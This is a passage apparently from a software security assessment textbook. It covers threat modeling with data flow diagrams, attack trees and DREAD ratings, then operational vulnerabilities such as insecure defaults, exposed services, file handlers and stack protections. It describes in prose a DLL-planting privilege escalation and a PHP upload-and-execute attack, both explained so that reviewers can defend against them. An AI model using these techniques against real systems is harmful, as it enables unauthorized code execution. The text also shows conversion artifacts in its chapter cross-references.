Collection," are "actors" and remote systems that communicate with the 

system over its entry points. They are represented by closed rectangles. 

Identifying external entities helps you isolate system entry points quickly and 
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determine what assets are externally accessible. External entities might also 

represent assets that need to be protected, such as a remote server. 

 Data flow The flow of data is represented by arrows. It indicates what data is 

sent through what parts of the system. These elements can be useful for 

discovering what user-supplied data can reach certain components so that you 

can target them in the implementation review. 

 Trust boundary Trust boundaries are the boundaries between different entities 

in the system or between entire systems. They are represented by a dotted 

line between the two components. 

Figure 2-3 shows how you can use DFD elements to model a system. It represents a 

simplified model of a basic Web application that allows users to log in and access 

resources stored in a database. Of course, DFDs look different at various levels of an 

application. A simple, high-level DFD that encapsulates a large system is referred to 

as a context diagram. The Web site example is a context diagram because it 

represents a high-level abstraction that encapsulates a complex system. 

Figure 2-3. A DFD context diagram 

[View full size image] 

 

 

However, your analysis generally requires you to decompose the system further. 

Each successive level of decomposition is labeled numerically, starting from zero. A 

level-0 diagram identifies the major application subsystems. The major subsystems 

in this Web application are distinguished by the user's authentication state. This 

distinction is represented in the level-0 diagram in Figure 2-4. 

Figure 2-4. A DFD level-0 diagram of the login process 

[View full size image] 
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Depending on the complexity of a system, you may need to continue decomposing. 

Figure 2-5 is a level-1 diagram of the Web application's login process. Normally, you 

would only progress beyond level-0 diagrams when modeling complex subsystems. 

However, this level-1 diagram provides a useful starting point for using DFDs to 

isolate design vulnerabilities. 

Figure 2-5. A DFD level-0 diagram of the login process 

[View full size image] 
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When preparing for an implementation review, you can use these diagrams to model 

application behavior and isolate components. For instance, Figure 2-6 shows the login 

process altered just a bit. Can you see where the vulnerability is? The way the login 

process handles an invalid login has been changed so that it now returns the result of 

each phase directly back to the client. This altered process is vulnerable because 

attackers can identify valid usernames without logging in successfully, which can be 

extremely useful in attempting a brute-force attack against the authentication 

system. 

Figure 2-6. A DFD showing a login vulnerability 

[View full size image] 

 

 

By diagramming this system, you can more easily identify its security components. In 

this example, it helped you isolate a vulnerability in the way the system authenticates. 

Of course, the login example is still fairly simple; a more complex system might have 

several layers of complexity that must be encapsulated in multiple DFDs. You 

probably don't want model all these layers, but you should decompose different 

components until you've reached a point that isolates the security-relevant 

considerations. Fortunately, there are tools to assist in this process. Diagramming 

applications such as Microsoft Visio are useful, and the Microsoft Threat Modeling Tool 

is especially helpful in this process. 

Threat Identification 
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Threat identification is the process of determining an application's security 

exposure based on your knowledge of the system. This phase builds on the work you 

did in previous phases by applying your models and understanding of the system to 

determine how vulnerable it is to external entities. For this phase, you use a new 

modeling tool called attack trees (or threat trees), which provide a standardized 

approach for identifying and documenting potential attack vectors in a system. 

Drawing an Attack Tree 

The structure of an attack tree is quite simple. It consists of a root node, which 

describes the attacker's objective, and a series of subnodes that indicate ways of 

achieving that objective. Each level of the tree breaks the steps into more detail until 

you have a realistic map of how an attacker can exploit a system. Using the simple 

Web application example from the previous section, assume it's used to store 

personal information. Figure 2-7 shows a high-level attack tree for this application. 

Figure 2-7. Attack tree example 

[View full size image] 

 

 

As you can see, the root node is at the top with several subnodes underneath. Each 

subnode states an attack methodology that could be used to achieve the goal stated 

in the root node. This process is further decomposed, as necessary, into subnodes 

that eventually define an attack. Looking at this diagram, you should start to notice 

the similarities between attack trees and DFDs. After all, an attack tree isn't 

developed in a vacuum. It's best created by walking through a DFD and using the 

attack tree to note specific concerns. As an example, notice how the branch leading to 

subnode 1.2.1 follows the same reasoning pattern used previously in analyzing the 

DFD of the flawed login process. 
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As with DFDs, you want to continue decomposing attack trees only along 

security-relevant paths. You need to use your judgment and determine what paths 

constitute reasonable attack vectors and what vectors are unlikely. Before getting 

into that topic, however, continue to the next section for a more detailed description 

of the attack tree structure. 

Node Types 

You might have noticed some strange markings in the lines connecting each node to 

its children (such as nodes 1.2.1.1 and 1.2.1.2). The arc between these node 

connectors indicates that the child nodes are AND nodes, meaning both conditions of 

the child node must be met to continue evaluating the vector. A node without an arc 

is simply an OR node, meaning either branch can be traversed without any additional 

condition. Referring to Figure 2-7, look at the brute-force login vector in node 1.2.1. 

To traverse past this node, you must meet the following conditions in the two 

subnodes: 

 Identify username 

 Identify user password 

Neither step can be left out. A username with no password is useless, and a password 

without the associated username is equally useless. Therefore, node 1.2.1 is an AND 

node. 

Conversely, OR nodes describe cases in which an objective can be reached by 

achieving any one of the subnodes. So the condition of just a single node must be met 

to continue evaluating the child nodes. Referring to Figure 2-7 again, look at the 

objective "Log in as target user" in node 1.2. This objective can be achieved with 

either of the following approaches: 

 Brute-force login 

 Steal user credentials 

To log in as the user, you don't have to achieve both goals; you need to achieve only 

one. Therefore, they are OR nodes. 

Textual Representation 

You can represent attack trees with text as well as graphics. Text versions convey 

identical information as the graphical versions but sometimes aren't as easy to 

visualize (although they're more compact). The following example shows how you 

would represent the attack tree from Figure 2-7 in a text format: 

1. Adversary gains access to a user's personal information 

   OR  1.1 Gain direct access to the database 

           1.1.1 Exploit a hole in system application or kernel 
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       1.2 Log in as target user 

           OR 1.2.1 Brute-force login 

              AND 1.2.1.1 Identify username 

                  1.2.1.2 Identify user password 

              1.2.2 Steal user credentials 

       1.3 Hijack user session 

               1.3.1 Steal user session cookie 

       1.4 Passively intercept personal data 

           AND 1.4.1 Identify user connection initiation 

               1.4.2 Sniff network traffic for personal data 

 

As you can see, all the same information is present. First, the root node objective is 

stated as the heading of the attack tree, and its immediate descendants are 

numbered and indented below the heading. Each new level is indented again and 

numbered below its parent node in the same fashion. The AND and OR keywords are 

used to indicate whether nodes are AND or OR nodes. 

Threat Mitigation 

Part of the value of an attack tree is that it allows you to track potential threats. 

However, tracking threats isn't particularly useful if you have no way of identifying 

how they are mitigated. Fortunately, attack trees include a special type of node for 

addressing that concern: a circular node. Figure 2-8 shows a sample attack tree with 

mitigating factors in place. 

Figure 2-8. An attack tree with mitigation nodes 

[View full size image] 
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Three mitigation nodes have been added to this attack tree to help you realize that 

these vectors are less likely avenues of attack than the unmitigated branches. The 

dashed lines used in one mitigation node are a shorthand way to identify a branch as 

an unlikely attack vector. It doesn't remove the branch, but it does encourage you to 

direct your focus elsewhere. 

One final note on mitigation: You don't want to look for it too early. Identifying 

mitigating factors is useful because it can prevent you from pursuing an unlikely 

attack vector. However, you don't want to get lulled into a false sense of security and 

miss a likely branch. So consider mitigation carefully, and make sure you perform 

some validation before you add it to your attack tree. 

Documentation of Findings 

Now that the investigative work is done, you need to document what you discovered. 

In the documentation phase, you will review the threats you uncovered in the 

previous phase and present them in a formal manner. For each threat you uncovered, 

you need to provide a brief summary along with any recommendations for eliminating 

the threat. To see how this process works, use the "Brute-force login" threat (node 

1.2.1) from your sample attack tree. This threat could allow an attacker to log in with 

another user's credentials. The documentation of your threat summary would look 

similar to Table 2-1. 

Table 2-1. Threat Summary 

Threat Brute-force login. 

Affected 

Component 

Web application login component. 

Description Clients can brute-force attack usernames and passwords by 

repeatedly connecting and attempting to log in. This threat is 

increased because the application returns different error messages for 

invalid username and passwords, making usernames easier to 

identify. 

Result Untrusted clients can gain access to a user account and, therefore, 

read or modify sensitive information. 

Mitigation 

Strategies 

Make error messages ambiguous so that an attacker doesn't know 

whether the username or password is invalid. Lock the user account 

after repeated failed login attempts. (Three or five attempts would be 

appropriate.) 
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All the information for the brute-force login threat is neatly summarized in a table. In 

the next part of this phase, you extend this table to include some additional 

information on the risk of the threat. 

DREAD Risk Ratings 

Real-world applications are generally much larger and more complex in both design 

and implementation than the examples used in this chapter. Increased size and 

complexity creates a broad spectrum of attack vectors in a variety of user classes. As 

a result, you can usually come up with a long list of potential threats and possible 

recommendations to help mitigate those threats. In a perfect world, designers could 

systematically go about addressing each threat and fixing potential issues, closing 

each attack vector as necessary. However, certain business realities might not allow 

mitigating every identified vector, and almost certainly not all at once. Clearly, some 

sort of prioritization is needed to help address the more serious vectors before 

worrying about the less important ones. By assigning a threat severity rating, you can 

rank each uncovered threat based on the risk it poses to the security of the 

application and associated systems. This rating can then be used as a guideline for 

developers to help decide which issues take precedence. 

You can choose to rate threats in a number of different ways. What's most important 

is that you incorporate the exposure of the threat (how easy is it to exploit and who 

the vector is available to) and the amount of damage incurred during a successful 

exploit. Beyond that, you might want to add components that are more pertinent to 

your environment and business processes. For this chapter's threat-modeling 

purposes, the DREAD rating system developed by Microsoft is used. No model is 

perfect, but this one provides a fairly good balance of commonly accepted threat 

characteristics. These characteristics are briefly summarized as follows: 

 Damage potential What are the repercussions if the threat is exploited 

successfully? 

 Reproducibility How easy is it to reproduce the attack in question? 

 Exploitability How difficult is it to perform the attack? 

 Affected users If a successful attack is carried out, how many users would be 

affected and how important are they? 

 Discoverability How difficult is it to spot the vulnerability? 

Each category can be given a score between 1 and 10 (1 being the lowest, 10 the 

highest). Category scores are then totaled and divided by 5 for an overall threat 

rating. A rating of 3 or below can be considered a low-priority threat, 4 to 7 as a 

medium-priority threat, and 8 or greater as a high-priority threat. 

Note 
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The DREAD model is also useful in rating implementation and operational 

vulnerabilities. In fact, you can use DREAD as your general-purpose rating system 

over the entire course of an application review. 

 

One of the benefits of the DREAD rating system is that it provides a range of detail you 

can use when presenting results to business decision makers. You can give them a 

concise threat assessment, with just the total threat rating and the category it falls 

into. You could also present more detailed information, such as individual scores for 

the five threat categories. You might even want to give them a full report, including 

the model documentation and an explanation of how you arrived at the scores for 

each category. Regardless of your choice, it's a good idea to have information 

available at each level of detail when making a presentation to clients or senior 

management. 

Table 2-2 is an example of applying a DREAD rating to the brute-force login threat. 

Table 2-2. Threat Summary with DREAD Rating 

Threat Brute-force login. 

Affected 

Component 

Web application login component. 

Description Clients can brute-force attack usernames and passwords by 

repeatedly connecting and attempting to log in. This threat is 

increased because the application returns a different error message 

for an invalid username than a valid one, making usernames easier to 

identify. 

Result Untrusted clients can gain access to a user account and, therefore, 

read or modify sensitive information. 

Mitigation 

Strategies 

Make error messages ambiguous so that an attacker doesn't know 

whether the username or password is invalid. Lock the user account 

after repeated failed login attempts. (Three to five attempts would be 

appropriate.) 

Risk Damage potential: 6 

Reproducibility: 8 

Exploitability: 4 

Affected users: 5 
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Table 2-2. Threat Summary with DREAD Rating 

Threat Brute-force login. 

Discoverability: 8 

Overall: 6.2 

 

 

Automatic Threat-Modeling Documentation 

As you can see, quite a lot of documentation is involved in the threat-modeling 

process (both text and diagrams). Thankfully, Frank Swiderski (co-author of the 

previously mentioned Threat Modeling) has developed a tool to help with creating 

various threat-modeling documents. It's available as a free download at 

http://msdn.microsoft.com/security/securecode/threatmodeling/. The tool makes it 

easy to create DFDs, use cases, threat summaries, resource summaries, 

implementation assumptions, and many other documents you're going to need. 

Furthermore, the documentation is organized into a tree structure that's easy to 

navigate and maintain. The tool can output all your documentation as HTML or 

another output form of your choosing, using Extensible Stylesheet Language 

Transformations (XSLT) processing. Familiarizing yourself with this tool for 

threat-modeling documentation is strongly recommended. 

Prioritizing the Implementation Review 

Now that you've completed and scored your threat summaries, you can finally turn 

your attention to structuring the implementation review. When developing your 

threat model, you should have decomposed the application according to a variety of 

factors, including modules, objects, and functionality. These divisions should be 

reflected in the Affected Components entry in each individual threat summary. The 

next step is to make a list of components at the appropriate level of decomposition; 

exactly what level is determined by the size of the application, number of reviewers, 

time available for review, and similar factors. However, it's usually best to start at a 

high level of abstraction, so you only need to consider a handful of components. In 

addition to the component names, you need another column on your list for risk 

scores associated with each component. 

After you have this component list, you simply identify which component a threat 

summary belongs to and add the risk score for that summary to the associated 

component. After you've totaled your list of summaries, you'll have a score for the 

risk associated with each component. Generally, you want to start your assessment 

with the highest scoring component and continue proceeding from highest to lowest. 

You might also need to eliminate some components due to time, budget, or other 

constraints. So it's best to start eliminating from the lowest scoring components. You 

can apply this scoring process to the next level of decomposition for a large 

http://msdn.microsoft.com/security/securecode/threatmodeling/
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application; although that starts to get into the implementation review process, which 

is covered in detail in Chapter 4(? [????.]), "Application Review Process." 

Using a scoring list can make it a lot easier to prioritize a review, especially for a 

beginner. However, it isn't necessarily the best way to get the job done. An 

experienced auditor will often be able to prioritize the review based on their 

understanding of similar applications. Ideally, this should line up with the threat 

summary scores, but sometimes that isn't the case. So it's important to take the 

threat summaries into account, but don't cling to them when you have a reason to 

follow a better plan. 

6.2.5 Summary 

This chapter has examined the essential elements of application design review. 

You've seen that security needs to be a fundamental consideration in application 

design and learned how decisions made in the design process can dramatically affect 

an application's security. You have also learned about several tools for understanding 

the security and vulnerability potential of an application design. 

It's important that you not treat the design review process as an isolated component. 

The results of the design review should progress naturally into the implementation 

review process, discussed in depth in Chapter 4(? [????.]). 

 

6.3 Chapter 3.  Operational Review 

"Civilization advances by extending the number of important operations which we can 

perform without thinking." 

6.3.1 Introduction 

Operational vulnerabilities are the result of issues in an application's configuration or 

deployment environment. These vulnerabilities can be a direct result of configuration 

options an application offers, such as default settings that aren't secure, or they 

might be the consequence of choosing less secure modes of operation. Sometimes 

these vulnerabilities are caused by a failure to use platform security measures 

properly, such as file system and shared object permissions. Finally, an operational 

vulnerability could be outside the developer's direct control. This problem occurs 

when an application is deployed in a manner that's not secure or when the base 

platform inherits vulnerabilities from the deployment environment. 

The responsibility for preventing these vulnerabilities can fall somewhere between 

the developer and the administrative personnel who deploy and maintain the system. 

Shrink-wrapped commercial software might place most of the operational security 

31051536.html
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burden on end users. Conversely, you also encounter special-purpose systems, 

especially embedded devices and turnkey systems, so tightly packaged that 

developers control every aspect of their configuration. 

This chapter focuses on identifying several types of operational vulnerabilities and 

preventive measures. Concrete examples should help you understand the subtle 

patterns that can lead to these vulnerabilities. The goal is to help you understand how 

to identify these types of vulnerabilities, not present an encyclopedia of potential 

issues. Technologies are varied and change often, but with a little practice, you 

should be able to spot the commonalities in any operational vulnerability, which helps 

you establish your own techniques for identifying vulnerabilities in the systems you 

review. 

6.3.2 Exposure 

When reviewing application security, you need to consider the impact of the 

deployment environment. This consideration might be simple for an in-house 

application with a known target. Popular commercial software, on the other hand, 

could be deployed on a range of operating systems with unknown network profiles. 

When considering operational vulnerabilities, you need to identify these concerns and 

make sure they are adequately addressed. The following sections introduce the 

elements of an application's environment that define its degree of exposure to various 

classes of users who have access to and, therefore, are able to attack the application. 

Attack Surface 

Chapter 2(? [????.]), "Design Review," covered the threat-modeling concepts of 

assets and entry points. These concepts can be used to define an application's attack 

surface, the collection of all entry points that provide access to an asset. At the 

moment, how this access is mitigated isn't a concern; you just need to know where 

the attack surface is. 

For the purposes of this chapter, the discussions of trust models and threats have 

been simplified because operational vulnerabilities usually occur when the attack 

surface is exposed unnecessarily. So it helps to bundle the complexities into the 

attack surface and simply look for where it can be eliminated. 

The actual process of minimizing the attack surface is often referred to as "host 

hardening" or "application hardening." Hardening specific platforms isn't covered in 

this book, as better resources are dedicated to hardening a particular platform. 

Instead, this chapter focuses on several general operational vulnerabilities that occur 

because software deployment and configuration aren't secure. 

Insecure Defaults 
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Insecure defaults are simply preconfigured options that create an unnecessary risk 

in a deployed application. This problem tends to occur because a software or device 

vendor is trying to make the deployment as simple and painless as possiblewhich 

brings you back to the conflict between usability and security. 

Any reader with a commercial wireless access point has probably run into this same 

issue. Most of these devices are preconfigured without any form of connection 

security. The rationale is that wireless security is buggy and difficult to configure. 

That's probably true to an extent, but the alternative is to expose your wireless 

communications to anyone within a few hundred yards. Most people would rather 

suffer the inconvenience of struggling with configuration than expose their wireless 

communications. 

As a reviewer, two types of vulnerable default settings should concern you the most. 

The first is the application's default settings, which include any options that can 

reduce security or increase the application's attack surface without the user's explicit 

consent. These options are discussed in more detail in the remainder of this chapter, 

but a few obvious installation considerations are prompting for passwords versus 

setting defaults, enabling more secure modes of communication, and enforcing 

proper access control. 

You also need to consider the default settings of the base platform and operating 

system. Examples of this measure include ensuring that the installation sets 

adequate file and object permissions or restricting the verbs allowed in a Web request. 

The process can get a bit complicated if the application is portable across a range of 

installation targets, so be mindful of all potential deployment environments. In fact, 

one of main contributors to insecure defaults in an application is that the software is 

designed and built to run on many different operating systems and environments; a 

safe setting on one operating system might not be so safe on another. 

Access Control 

Chapter 2(? [????.]) introduced access control and how it affects an application's 

design. The effects of access control, however, don't stop at the design. Internally, an 

application can manage its own application-specific access control mechanisms or use 

features the platform provides. Externally, an application depends entirely on the 

access controls the host OS or platform provides (a subject covered in more depth 

later in Chapter 9(? [????.]), "Unix I: Privileges and Files," and Chapter 11(? [????.]), 

"Windows I: Objects and the File System"). 

Many developers do a decent amount of scripting; so you probably have a few 

scripting engines installed on your system. On a Windows system, you might have 

noticed that most scripting installations default to a directory right off the root. As an 

example, in a typical install of the Python interpreter on a Windows system, the 

default installation path is C:\Python24, so it's installed directly off the root directory 
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of the primary hard drive (C:). This installation path alone isn't an issue until you take 

into account default permissions on a Windows system drive. These permissions allow 

any user to write to a directory created off the root (permission inheritance is 

explained in more detail in Chapter 11(? [????.])). Browsing to C:\Python24, you find 

python.exe (among other things), and if you look at the imported dynamic link 

libraries (DLLs) that python.exe uses, you find msvcr71.dll listed. 

Note 

For those unfamiliar with basic Windows binary layout, an import is a required library 

containing routines the application needs to function correctly. In this example, 

python.exe needs routines implemented in the msvcr71 library. The exact functions 

python.exe requires are also specified in the imports section. 

 

Chapter 11(? [????.]) explains the particulars of how Windows handles imported. 

What's important to this discussion is that you can write your own msvcr71.dll and 

store it in the C:\Python24 directory, and then it's loaded when anyone runs 

python.exe. This is possible because the Windows loader searches the current 

directory for named DLLs before searching system directories. This Windows feature, 

however, could allow an attacker to run code in the context of a higher privileged 

account, which would be particularly useful on a terminal server, or in any shared 

computing environment. 

You could have the same problem with any application that inherits permissions from 

the root drive. The real problem is that historically, Windows developers have often 

been unaware of the built-in access control mechanisms. This is only natural when 

you consider that Windows was originally a single-user OS and has since evolved into 

a multiuser system. So these problems might occur when developers are unfamiliar 

with additional security considerations or are trying to maintain compatibility 

between different versions or platforms. 

Unnecessary Services 

You've probably heard the saying "Idle hands are the devil's playthings." You might 

not agree with it in general, but it definitely applies to unnecessary services. 

Unnecessary services include any functionality your application provides that isn't 

required for its operation. These capabilities often aren't configured, reviewed, or 

secured correctly. 

These problems tend to result from insecure default settings but might be caused by 

the "kitchen sink mentality," a term for developers and administrators who include 

every possible capability in case they need it later. Although this approach might 

seem convenient, it can result in a security nightmare. 
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When reviewing an application, make sure you can justify the need for each 

component that's enabled and exposed. This justification is especially critical when 

you're reviewing a deployed application or turnkey system. In this case, you need to 

look at the system as a whole and identify anything that isn't needed. 

The Internet Information Services (IIS) HTR vulnerabilities are a classic example of 

exposing a vulnerable service unnecessarily. HTR is a scripting technology Microsoft 

pioneered that never gained much following, which can be attributed to the release of 

the more powerful Active Server Pages (ASP) shortly after HTR. Any request made to 

an IIS server for a filename with an .htr extension is handled by the HTR Internet 

Server API (ISAPI) filter. 

Note 

ISAPI filters are IIS extension modules that can service requests based on file 

extensions. 

 

From 1999 through 2002, a number of researchers identified HTR vulnerabilities 

ranging from arbitrary file reading to code execution. None of these vulnerabilities 

would have been significant, however, if this rarely used handler had simply been 

disabled in the default configuration. 

Secure Channels 

A secure channel is any means of communication that ensures confidentiality 

between the communicating parties. Usually this term is used in reference to 

encrypted links; however, even a named pipe can be considered a secure channel if 

access control is used properly. In either case, what's important is that only the 

correct parties can view or alter meaningful data in the channel, assuming, of course, 

that the parties have already been authenticated by some means. 

Sometimes the need for secure channels can be determined during the design of an 

application. You might know before deployment that all communications must be 

conducted over secure channels, and the application must be designed and 

implemented in this way. More often, however, the application design must account 

for a range of possible deployment requirements. 

The most basic example of a secure channel vulnerability is simply not using a secure 

channel when you should. Consider a typical Web application in which you 

authenticate via a password, and then pass a session key for each following 

transaction. (This topic is explained in more detail in Chapter 17(? [????.]), "Web 

Applications.") You expect password challenges to be performed over Secure Sockets 

Layer (SSL), but what about subsequent exchanges? After all, attackers would like to 
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retrieve your password, but they can still get unrestricted access to your session if 

they get the session cookie. 

This example shows that the need for secure channels can be a bit subtle. Everyone 

can agree on the need to protect passwords, but the session key might not be 

considered as important, which is perfectly acceptable sometimes. For example, most 

Web-based e-mail providers use a secure password exchange, but all remaining 

transactions send session cookies in the clear. These providers are offering a free 

service with a minimal guarantee of security, so it's an acceptable business risk. For 

a banking application, however, you would expect that all transactions occur over a 

secure channel. 

Spoofing and Identification 

Spoofing occurs whenever an attacker can exploit a weakness in a system to 

impersonate another person or system. Chapter 2(? [????.]) explained that 

authentication is used to identify users of an application and potentially connected 

systems. However, deploying an application could introduce some additional 

concerns that the application design can't address directly. 

The TCP/IP standard in most common use doesn't provide a method for preventing 

one host from impersonating another. Extensions and higher layer protocols (such as 

IPsec and SSL) address this problem, but at the most basic level, you need to assume 

that any network connection could potentially be impersonated. 

Returning to the SSL example, assume the site allows only HTTPS connections. 

Normally, the certificate for establishing connections would be signed by a trusted 

authority already listed in your browser's certificate database. When you browse to 

the site, the name on the certificate is compared against the server's DNS name; if 

they match, you have a reasonable degree of certainty that the site hasn't been 

spoofed. 

Now change the example a bit and assume that the certificate isn't signed by a default 

trusted authority. Instead, the site's developer has signed the certificate. This 

practice is fairly common and perfectly acceptable if the site is on a corporate intranet. 

You simply need to ensure that every client browser has the certificate added to its 

database. 

If that same site is on the public Internet with a developer-signed certificate, however, 

it's no longer realistic to assume you can get that certificate to all potential clients. 

The client, therefore, has no way of knowing whether the certificate can be trusted. If 

users browse to the site, they get an error message stating that the certificate isn't 

signed by a trusted authority; the only option is to accept the untrusted certificate or 

terminate the connection. An attacker capable of spoofing the server could exploit 
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this situation to stage man-in-the-middle attacks and then hijack sessions or steal 

credentials. 

Network Profiles 

An application's network profile is a crucial consideration when you're reviewing 

operational security. Protocols such as Network File System (NFS) and Server 

Message Block (SMB) are acceptable inside the corporate firewall and generally are 

an absolute necessity. However, these same types of protocols become an 

unacceptable liability when they are exposed outside the firewall. Application 

developers often don't know the exact environment an application might be deployed 

in, so they need to choose intelligent defaults and provide adequate documentation 

on security concerns. 

Generally, identifying operational vulnerabilities in the network profile is easier for a 

deployed application. You can simply look at what the environment is and identify any 

risks that are unacceptable, and what protections are in place. Obvious protections 

include deploying Internet-facing servers inside demilitarized zones (DMZs) and 

making sure firewall rule sets are as strict as reasonably possible. 

Network profile vulnerabilities are more difficult to tackle when the environment is 

unknown. As a reviewer, you need to determine the most hostile potential 

environment for a system, and then review the system from the perspective of that 

environment. You should also ensure that the default configuration supports a 

deployment in this type of environment. If it doesn't, you need to make sure the 

documentation and installer address this problem clearly and specifically. 

 

6.3.3 Web-Specific Considerations 

The World Wide Webmore specifically, HTTP and HTTPS serviceshas become one of 

the most ubiquitous platforms for application development. The proliferation of Web 

services and applications is almost single-handedly responsible for the increased 

awareness of network security and vulnerabilities. For this reason, Web security 

warrants certain special considerations. 

HTTP Request Methods 

A Web application can be tightly restricted in which requests and operations are 

allowed; however, in practice, this restriction often isn't applied. For example, the 

server might support a number of HTTP methods, but all the application requires is 

the HTTP GET, POST, and HEAD requests. When reviewing a deployed or embedded Web 

application, you should ensure that only the necessary request methods are allowed. 

In particular, question whether TRACE, OPTIONS, and CONNECT requests should be 

31051536.html
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allowed. If you are unfamiliar with these methods, you can find a lot more information 

in Chapter 17(? [????.]). 

Directory Indexing 

Many Web servers enable directory indexing by default. This setting has no effect in 

directories that provide an index file; however, it can expose valuable information to 

directories with no index. Often, these directories contain include and configuration 

files, or other important details on the application's structure, so directory indexing 

should be disabled by default. 

File Handlers 

When you try to run a file, it's obvious if the proper handler hasn't been installed. The 

server simply won't run the file, and instead it returns the source or binary directly. 

However, handler misconfiguration could happen in a number of less obvious 

situations. When machines are rebuilt or replaced, the correct handlers might not be 

installed before the application is deployed. Developers might also establish 

conventions for naming include files with different extensions. For example, Classic 

ASP and PHP: Hypertext Processor (PHP) include files are often named with an .inc 

extension, which is not interpreted by the default handlers in PHP or ASP. Because the 

include file isn't intended to be requested directly, developers and administrators 

might not realize it's vulnerable. 

Both situations can result in a source or binary file disclosure, which allows attackers 

to download the raw source or binary code and get detailed information on the 

application's internal structure. In addition, PHP and other scripting languages 

commonly use include files to provide database account credentials and other 

sensitive information, which can make source disclosure vulnerabilities particularly 

dangerous. 

This problem needs to be approached from three sides. First, developers need to 

choose a set of extensions to be used for all source and binary files. Second, the Web 

server should be configured with handlers for all appropriate file types and extensions. 

Finally, the only files in the Web tree should be those that must be retrieved by Web 

requests. Include files and supporting libraries should be placed outside the Web tree. 

This last step prevents attackers from requesting files directly that are only intended 

to be included. 

An important extension to the last step is applicable when Web applications deal with 

uploaded content from clients. Applications commonly allow clients to upload files, 

but doing so has potentially dangerous consequences, especially if the directory 

where files are uploaded is within the Web tree. In this case, clients might be able to 

request the file they just uploaded; if the file is associated with a handler, they can 

achieve arbitrary execution. As an example, consider a PHP application that stores 
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uploaded files in /var/www/webapp/tmpfiles/, which can be browsed via the HTTP URI 

/webapp/tmpfiles/. If the client uploads a file called evil.php and then requests 

/webapp/tmpfiles/evil.php in a browser, the Web server will likely recognize that the 

file is a PHP application and run code within the file's PHP tags. 

Authentication 

Web applications might not perform authentication internally; this process might be 

handled externally through the HTTP authentication protocol, an authenticating 

reverse proxy, or a single sign-on (SSO) system. With this type of authentication, 

it is especially important to make sure the external authentication mechanism is 

configured correctly and performs authentication in a safe manner. For example, a 

reverse-proxy device might add headers that include the current account name and 

user information. However, attackers could discover a request path that doesn't pass 

through the reverse proxy, which would allow them to set the account headers to 

whatever they want and impersonate any user on the system. 

Default Site Installations 

Some Web servers include a number of sample sites and applications as part of a 

default installation. The goal is to provide some reference for configuring the server 

and developing modules. In practice, however, these sample sites are a rather severe 

case of unnecessary services and insecure defaults. Numerous security problems 

have been caused by installing sample Web applications and features. For example, 

ColdFusion's Web-scripting technologies used to install several sample applications 

by default that allowed clients to upload files and run arbitrary code on the system. 

Note 

This ColdFusion bug ties in with some of the previous discussion on spoofing and 

identification. The sample applications were accessible only to clients who connected 

from the same machine where ColdFusion was installed. However, the way they 

verified whether the client was connecting locally was to check the HTTP HOST 

variable, which is completely controlled by the client. As a result, any client could 

claim to be connecting locally and access sample scripts with the dangerous 

functionality. This bug is documented at www.securityfocus.com/bid/3154/info. 

 

 

Overly Verbose Error Messages 

Most Web servers return fairly verbose error messages that assist in diagnosing any 

problems you encounter. Web application platforms also provide detailed exception 

information to assist developers in debugging code. These capabilities are essential 

http://www.securityfocus.com/bid/3154/info
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when developing a system, but they can be a serious operational vulnerability in a 

deployed system. 

The burden of end-user error reporting should rest primarily on application 

developers. The application level has the correct context to determine what 

information is appropriate to display to end users. Configuration of the base platform 

should always be performed under the assumption that the application is filtering and 

displaying any end-user error information. This way, the deployed system can be 

configured to report the minimum necessary information to client users and redirect 

any required details to the system log. 

Public-Facing Administrative Interfaces 

Web-based administration has become popular for Web applications and network 

devices. These administrative interfaces are often convenient, but they are rarely 

implemented with potentially malicious users in mind. They might use weak default 

passwords, not perform sufficient authentication, or have any number of other 

vulnerabilities. Therefore, they should be accessible only over restricted network 

segments when possible and never exposed to Internet-facing connections. 

6.3.4 Protective Measures 

A range of additional protective measures can affect an application's overall security. 

In consultant speak, they are often referred to as mitigating factors or 

compensating controls; generally, they're used to apply the concept of defense in 

depth mentioned in Chapter 2(? [????.]). These measures can be applied during or 

after the development process, but they tend to exist outside the software itself. 

The following sections discuss the most common measures, but they don't form an 

exhaustive list. For convenience, these measures have been separated into groups, 

depending on whether they're applied during development, to the deployed host, or 

in the deployed network. One important consideration is that most of these measures 

include software, so they could introduce a new attack surface or even vulnerabilities 

that weren't in the original system. 

Development Measures 

Development protective measures focus on using platforms, libraries, compiler 

options, and hardware features that reduce the probability of code being exploited. 

These techniques generally don't affect the way code is written, although they often 

influence the selection of one platform over another. Therefore, these measures are 

viewed as operational, not implementation measures. 

Nonexecutable Stack 
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The classic stack buffer overflow is quite possibly the most often-used software 

vulnerability in history, so hardware vendors are finally trying to prevent them at the 

lowest possible level by enforcing the nonexecutable protection on memory pages. 

This technique is nothing new, but it's finally becoming common in inexpensive 

commodity hardware, such as consumer PCs. 

A nonexecutable stack can make it harder to exploit a memory management 

vulnerability, but it doesn't necessarily eliminate it because the exploit might not 

require running code from the stack. It might simply involve patching a stack variable 

or the code execution taking advantage of a return to libc style attack. These 

vulnerabilities are covered in more detail in Chapter 5(? [????.]), "Memory 

Corruption," but for now, it's important to understand where the general weaknesses 

are. 

Stack Protection 

The goal of the classic stack overflow is to overwrite the instruction pointer. Stack 

protection prevents this exploit by placing a random value, called a "canary," between 

stack variables and the instruction pointer. When a function returns, the canary is 

checked to ensure that it hasn't changed. In this way, the application can determine 

whether a stack overflow has occurred and throw an exception instead of running 

potentially malicious code. 

Like a nonexecutable stack, stack protection has its share of weaknesses. It also 

doesn't protect against stack variable patching (although some implementations 

reorder variables to prevent the likelihood of this problem). Stack protection 

mechanisms might also have issues with code that performs certain types of dynamic 

stack manipulation. For instance, LibSafePlus can't protect code that uses the alloca() 

call to resize the stack; this problem can also be an undocumented issue in other 

implementations. Worse yet, some stack protections are vulnerable to attacks that 

target their implementation mechanisms directly. For example, an early 

implementation of Microsoft's stack protection could be circumvented by writing past 

the canary and onto the current exception handler. 

No form of stack protection is perfect, and every implementation has types of 

overflows that can't be detected or prevented. You have to look at your choices and 

determine the advantages and disadvantages. Another consideration is that it's not 

uncommon for a development team to enable stack protection and have the 

application stop functioning properly. This problem happens because of stack 

overflows occurring somewhere in the application, which may or may not be 

exploitable. Unfortunately, developers might have so much trouble tracking down the 

bugs that they choose to disable the protection entirely. You might need to take this 

possibility into account when recommending stack protection as an easy fix. 

Heap Protection 
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Most program heaps consist of a doubly linked list of memory chunks. A generic heap 

exploit attempts to overwrite the list pointers so that arbitrary data can be written 

somewhere in the memory space. The simplest form of heap protection involves 

checking that list pointers reference valid heap chunks before performing any list 

management. 

Simple heap protection is fairly easy to implement and incurs little performance 

overhead, so it has become common in the past few years. In particular, Microsoft's 

recent OS versions include a number of heap consistency-checking mechanisms to 
